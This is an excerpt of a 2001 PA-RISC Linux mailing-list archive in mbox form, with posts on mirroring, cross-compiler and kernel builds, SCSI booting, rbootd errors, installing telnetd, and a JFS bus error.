style=3D"BACKGROUND-COLOR: #ff9999; COLOR: black">denied</B>) " from the =
system=20
message.&nbsp;<BR>But  we ran the rbootd in this machine. Does anyone =
know how=20
to figure it out?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks,</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0026_01C100A9.4013D880--





From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mirroring parisc-linux in australia (2nd or 3rd try..)
Date: Sat, 30 Jun 2001 02:57:21 +0800
Lines: 37
Approved: news@gmane.org
Message-ID: <20010630025719.K31834@neep.com.au>
References: <Pine.OSF.4.20.0106291452140.7520-100000@azure.dstc.edu.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620251 21544 80.91.229.3 (22 Nov 2014 01:37:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:31 +0000 (UTC)
Cc: jason andrade <jason@dstc.edu.au>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 29 13:21:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-03.iinet.net.au [203.59.24.18])
	by dsl2.external.hp.com (Postfix) with SMTP id 1E410482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Jun 2001 13:21:33 -0600 (MDT)
Original-Received: (qmail 17240 invoked by uid 666); 29 Jun 2001 18:57:27 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.174.110)
  by mail.iinet.net.au with SMTP; 29 Jun 2001 18:57:27 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id CAA16453;
	Sat, 30 Jun 2001 02:57:25 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	jason andrade <jason@dstc.edu.au>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.OSF.4.20.0106291452140.7520-100000@azure.dstc.edu.au>; from jason@dstc.edu.au on Fri, Jun 29, 2001 at 02:54:03PM +1000
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11458

Hi Jason,

I think everyone's on vacation at the moment.  =)

> I'm trying to find out what's involved in mirroring parisc-linux
> here in australia and actually getting listed.
> 
> I've mirrored the 0.9 release, and have been mirroring since
> 0.5, but haven't been able to get any reply from the parisc
> archive admin to date about
> 
> o automating mirroring
> o rsync access
> o web page mirroring
> 
> and most importantly, getting listed as a mirror for australia.
> 
> any takers ?

Well, as you are already mirroring the entire Debian archive you have
the hppa packages on board, which is great.  I don't actually know who
it is that has been updating the website but hopefully someone who has
CVS write access could add the relevant URLs to the pages.  I wouldn't
think it worthwhile to mirror the website itself though apart from those
ISO files.  Once things have settled down with a stable release then
planetmirror/mirror.aarnet will pick them up via the debian-cd mirror.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New i386->hppa cross-compiler
Date: Fri, 29 Jun 2001 15:34:25 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20010629213425.BF03237F86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620252 21546 80.91.229.3 (22 Nov 2014 01:37:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 29 15:34:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 427A2482A
	for <parisc-linux@parisc-linux.org>; Fri, 29 Jun 2001 15:34:27 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id B8F2F8AA
	for <parisc-linux@parisc-linux.org>; Fri, 29 Jun 2001 17:34:26 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id BF03237F86
	for <parisc-linux@parisc-linux.org>; Fri, 29 Jun 2001 15:34:25 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11459

Hi hppa-linux'ers,

I have built a new i386 ->hppa/hppa64 cross-compiler. The tarball is available 
at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010628-2.tar.gz

Untar it from / it lives in /opt/palinux, so you'll want to add 
/opt/palinux/bin to your $PATH. It was built against potato's glibc 2.1.3 so 
it should work on systems using that and newer.

Please report any problems to the list.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New hppa->hppa64 compiler debs
Date: Fri, 29 Jun 2001 15:34:46 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20010629213447.DCB9937F86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620252 21551 80.91.229.3 (22 Nov 2014 01:37:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 29 15:34:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6D25482A
	for <parisc-linux@parisc-linux.org>; Fri, 29 Jun 2001 15:34:47 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP id 17A651F603
	for <parisc-linux@parisc-linux.org>; Fri, 29 Jun 2001 17:34:29 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id DCB9937F86
	for <parisc-linux@parisc-linux.org>; Fri, 29 Jun 2001 15:34:46 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11460

Hi parisc-linux hackers,

I have built new hppa->hppa64 cross-compiler debian packages. They are 
available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/unofficial-debs/

and are called,

binutils-hppa64_2.11.90.0.19.cvs-1_hppa.deb
gcc-hppa64_3.0.ds9-3_hppa.deb

These are unofficial debs and will not be uploaded to the debian archive. 
Eventually there will be a standard way to do cross-compilers in debian and 
we'll switch over to that. Until then I will keep producing these debs as 
needed.

Please report any problems to the list.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] External SCSI Disk
Date: Fri, 29 Jun 2001 17:02:28 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <200106292302.RAA27477@puffin.external.hp.com>
References: <3B3A7E3D.394759D6@blueyonder.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620252 21557 80.91.229.3 (22 Nov 2014 01:37:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Donald Scobbie <dscobbie@blueyonder.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 29 17:02:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69371482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Jun 2001 17:02:59 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA27477;
	Fri, 29 Jun 2001 17:02:28 -0600
In-Reply-To: Your message of "Thu, 28 Jun 2001 01:45:49 BST."
             <3B3A7E3D.394759D6@blueyonder.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11461

Donald Scobbie wrote:
> I attached an external SCSI disk to my 712/80 which has the
> palinux-0.9 32 bit serial distribution installed on the internal
> disk:
...
>    Device Path              Device Type
>    -----------              -----------
>    scsi.6.0                 QUANTUM FIREBALL1050S
>    scsi.2.0                 SEAGATE ST32151N
> 
> BOOT_ADMIN> boo

Try "bo scsi.2.0" instead?
Just using "boot" will default to whatever the primary path is.

> The code in drivers/scsi/sd.c assigns /dev/sda to the lowest SCSI
> id and works up the way. Fair enough. IIRC SCSI id's are prioritised
> 7->0 for narrow SCSI and 7->0, 15->8 for wide. Should device allocation
> reflect this pattern?

It could. Search the mail archives - I've complained about this before.

>  Surely it has to for hppa where the internal 
> disk has id 6 preset?

It doesn't. 

> Any suggestions?

Make sure your partition layout doesn't cross the 2GB boundary for
the /boot or 0xf0 partition. palo documentation has the best explanation
of the PDC limitations I know of.

In general, I'm guessing that the scsi.6.0 has palinux installed on it
and the scsi.2.0 disk isn't partitioned with a compatible format for
some reason.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New kernels available
Date: Fri, 29 Jun 2001 18:29:46 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20010630002946.53AA537F86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620253 21566 80.91.229.3 (22 Nov 2014 01:37:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 29 18:29:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id B85CC482A
	for <parisc-linux@parisc-linux.org>; Fri, 29 Jun 2001 18:29:47 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id A57EC942
	for <parisc-linux@parisc-linux.org>; Fri, 29 Jun 2001 20:29:46 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 53AA537F86
	for <parisc-linux@parisc-linux.org>; Fri, 29 Jun 2001 18:29:46 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11462

I have built two kernel images and made them available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/

Here's what they are,

Both
----
started with defconfig and turned off these
CONFIG_IP_PNP_BOOTP
CONFIG_ROOT_NFS

vmlinux-20010629
----------------
CONFIG_PA7100LC=y
CONFIG_PA11=y

vmlinux64-20010629
------------------
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PARISC64=y


You should be able to drop the appropriate one in and reboot(yaa palo!).

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request to boot (denied)
Date: Sat, 30 Jun 2001 12:22:36 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <20010630122236.A6437@megatonmonkey.net>
References: <002901c100ca$c74d24c0$d10c6481@HCI009>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620253 21569 80.91.229.3 (22 Nov 2014 01:37:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yan Han <yhan@uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 30 10:21:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76D11482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Jun 2001 10:21:37 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f5UGVtW24805;
	Sat, 30 Jun 2001 12:31:55 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f5UGMac06531;
	Sat, 30 Jun 2001 12:22:36 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Yan Han <yhan@uwo.ca>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <002901c100ca$c74d24c0$d10c6481@HCI009>; from yhan@uwo.ca on Fri, Jun 29, 2001 at 02:39:06PM -0400
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11463

On Fri, Jun 29, 2001 at 02:39:06PM -0400, Yan Han wrote:
> Hi!
> 
> We got the message of "08:00:09:87:e4:8f: request to boot 
> (denied) " from the system message. 
> But  we ran the rbootd in this machine. Does anyone know how to figure it out?
> 
> thanks,
>

Han,

There are two important things you need to do:

A. Please _read_ the manual for rbootd. (man rbootd)

B. Please _check_ the mailing list archive for solutions to this problem. 
   (http://www.parisc-linux.org/mailing-lists/)

Secondly, I would recommend that you contact one of the Unix admins from
the Computer Science faculty at UWO (Scott Feeney, Magi, Bruce Richards) and
drop your general Unix questions in their direction.

It seems to me that many of your problems stem from not having
experience with a general Unix environment.

You might want to go here:
http://www.linuxcare.com/linux-business/bookshelf/newbie.epl#0672315459
(and purchase one or two of these books, since they will be forever usefull!)

Yes, that was a shameless Linuxcare plug ;)

---

Usefull checklist of things:

1. Do you have /etc/rbootd.conf ?
2. Is rbootd.conf setup properly ?
3. Do you have a kernel in the proper directory ? /var/lib/rbootd ?
4. Permissions on the image ?
5. Is rbootd running ?
6. Did you pass the right parameters to rbootd on startup ? (rbootd -d /etc/rbootd.conf)

Rbootd:
ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/rbootd-2.0-2.tar.gz

Ever patient,
Carlos.





From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New i386->hppa cross-compiler
Date: Mon, 2 Jul 2001 18:43:18 +0200 (CEST)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0107021836410.15161-100000@leo.uni-sw.gwdg.de>
References: <20010629213425.BF03237F86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620253 21574 80.91.229.3 (22 Nov 2014 01:37:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:33 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  2 10:48:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05A16482A
	for <parisc-linux@parisc-linux.org>; Mon,  2 Jul 2001 10:48:31 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 15H6n8-0004h2-00; Mon, 02 Jul 2001 18:43:18 +0200
In-Reply-To: <20010629213425.BF03237F86@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11464

On Fri, 29 Jun 2001, Matt Taggart wrote:

> Hi hppa-linux'ers,
>
> I have built a new i386 ->hppa/hppa64 cross-compiler. The tarball is available
> at,
>
> ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010628-2.tar.gz
>
> Untar it from / it lives in /opt/palinux, so you'll want to add
> /opt/palinux/bin to your $PATH. It was built against potato's glibc 2.1.3 so
> it should work on systems using that and newer.

Hi Matt!

I tried compiling the kernel 20010629 on my x86-SuSE-6.4-Linux
machine using the new cross-compiler and I got a segfault during
final linking (see below). Reverting to xc-20010530 cured that
problem. The rest of the kernel compilation (the part before the
final linking) worked OK though.

	Peter.


hppa-linux-ld -T /home/hplinux/PA-RISC_Linux/linux/arch/parisc/vmlinux.lds  arch/parisc/kernel/head.o  init/main.o init/version.o \
--start-group \
arch/parisc/kernel/pdc_cons.o arch/parisc/kernel/process.o arch/parisc/lib/lib.a arch/parisc/mm/mm.o arch/parisc/kernel/kernel.o arch/parisc/hpux/hpux.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o arch/parisc/kernel/init_task.o \
drivers/block/block.o drivers/char/char.o drivers/misc/misc.o drivers/net/net.o drivers/media/media.o  drivers/parport/driver.o drivers/scsi/scsidrv.o drivers/cdrom/driver.o drivers/sound/sounddrivers.o drivers/pci/driver.o drivers/video/video.o drivers/md/mddev.o drivers/gsc/gscbus.o arch/parisc/math-emu/math.o \
net/network.o \
`hppa-linux-gcc -print-libgcc-file-name` /home/hplinux/PA-RISC_Linux/linux/arch/parisc/lib/lib.a /home/hplinux/PA-RISC_Linux/linux/lib/lib.a  \
	--end-group \
	-o vmlinux
Segmentation fault





From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Budriunas <budriuna@cacr.caltech.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] telnetd binary
Date: Mon, 2 Jul 2001 11:38:39 -0700 (PDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10107021131370.13925-100000@lugh.cacr.caltech.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620254 21592 80.91.229.3 (22 Nov 2014 01:37:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  2 12:38:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.cacr.caltech.edu (mailhost.cacr.caltech.edu [131.215.145.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E1BD482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Jul 2001 12:38:44 -0600 (MDT)
Original-Received: from lugh.cacr.caltech.edu (lugh.cacr.caltech.edu [131.215.145.183])
	by mailhost.cacr.caltech.edu (8.9.3/8.9.1) with ESMTP id LAA06757
	for <parisc-linux@lists.parisc-linux.org>; Mon, 2 Jul 2001 11:38:39 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11465

telnetd and ftpd were not included with the June 1 ISO image. The only
telnetd and ftpd I did find on the Debian site is for i386.  

Is there a PARISC depot somewhere?

Thanks,

Al







From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] telnetd binary
Date: Mon, 2 Jul 2001 20:12:04 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010702201204.D15311@parcelfarce.linux.theplanet.co.uk>
References: <Pine.SOL.4.10.10107021131370.13925-100000@lugh.cacr.caltech.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620254 21596 80.91.229.3 (22 Nov 2014 01:37:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Al Budriunas <budriuna@cacr.caltech.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  2 13:13:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CBFB2482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Jul 2001 13:12:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15H976-0000Us-00; Mon, 02 Jul 2001 20:12:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.SOL.4.10.10107021131370.13925-100000@lugh.cacr.caltech.edu>; from budriuna@cacr.caltech.edu on Mon, Jul 02, 2001 at 11:38:39AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11466

On Mon, Jul 02, 2001 at 11:38:39AM -0700, Al Budriunas wrote:
> 
> telnetd and ftpd were not included with the June 1 ISO image. The only
> telnetd and ftpd I did find on the Debian site is for i386.  
> 
> Is there a PARISC depot somewhere?

`apt-get install telnetd' will work if you've added the appropriate
lines to your /etc/apt/sources.list file; something like

deb http://ftp.us.debian.org/debian unstable main non-free contrib

should work.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] telnetd binary
Date: Mon, 02 Jul 2001 13:13:51 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20010702191351.0FF0937F86@carmen.fc.hp.com>
References: <Pine.SOL.4.10.10107021131370.13925-100000@lugh.cacr.caltech.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620254 21598 80.91.229.3 (22 Nov 2014 01:37:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Al Budriunas <budriuna@cacr.caltech.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  2 13:13:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD5FF482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Jul 2001 13:13:52 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 1333DC08; Mon,  2 Jul 2001 15:13:52 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 0FF0937F86; Mon,  2 Jul 2001 13:13:51 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Al Budriunas <budriuna@cacr.caltech.edu> 
   of "Mon, 02 Jul 2001 11:38:39 PDT." <Pine.SOL.4.10.10107021131370.13925-100000@lugh.cacr.caltech.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:11467

Al Budriunas writes...

> telnetd and ftpd were not included with the June 1 ISO image. The only
> telnetd and ftpd I did find on the Debian site is for i386.  

apt-get update
apt-get install telnetd
apt-get install ftpd

Alternatively you can grab them from any debian mirror by hand and install 
them. These should go in the next iso as we get a lot of requests for them.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] JFS on PA-RISC-Linux
Date: Tue, 3 Jul 2001 12:51:27 +0200 (CEST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0107031224210.15161-100000@leo.uni-sw.gwdg.de>
References: <20010702180851.A19547@nickel.kgarner.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620255 21603 80.91.229.3 (22 Nov 2014 01:37:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:35 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <jfs-discussion@oss.software.ibm.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  3 04:51:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7AF4482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jul 2001 04:51:37 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 15HNmB-0007HH-00; Tue, 03 Jul 2001 12:51:27 +0200
In-Reply-To: <20010702180851.A19547@nickel.kgarner.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11468

Hi!

Did anyone try JFS on other architectures than iX86 (the 1.0.0
announcement did only restrict it to 2.4.X :-) )? I wanted to test
on PA-RISC-Linux today, and the patched kernel and the utilities
compiled OK (Kernel calls itself 2.4.0-pa49 #1), but when trying to
create a JFS partition with mkfs.jfs I either get

	mkfs.jfs development version: $Name: v1_0_0 $

	Warning!  All data on device /dev/sdb1 will be lost!

	Continue? (Y/N) Y
	  |
	Bus error

or

        mkfs.jfs development version: $Name: v1_0_0 $

